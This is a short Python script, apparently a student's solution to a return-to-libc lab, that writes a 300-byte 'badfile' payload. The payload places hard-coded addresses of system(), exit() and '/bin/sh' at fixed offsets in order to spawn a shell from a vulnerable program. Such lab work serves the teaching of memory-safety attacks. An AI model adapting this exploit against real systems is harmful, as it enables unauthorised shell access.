#!/usr/bin/python3 import sys # Fill content with non-zero values content = bytearray(0xaa for i in range(300)) sh_addr = 0xbffffdf1 # The address of "/bin/sh" from slide 14 content[120:124] = (sh_addr).to_bytes(4,byteorder='little') exit_addr = 0xb7e369d0 # The address of exit() from slide 13 content[116:120] = (exit_addr).to_bytes(4,byteorder='little') system_addr = 0xb7e42da0 # The address of system() from slide 13 content[112:116] = (system_addr).to_bytes(4,byteorder='little') # Save content to a file with open("badfile", "wb") as f: f.write(content)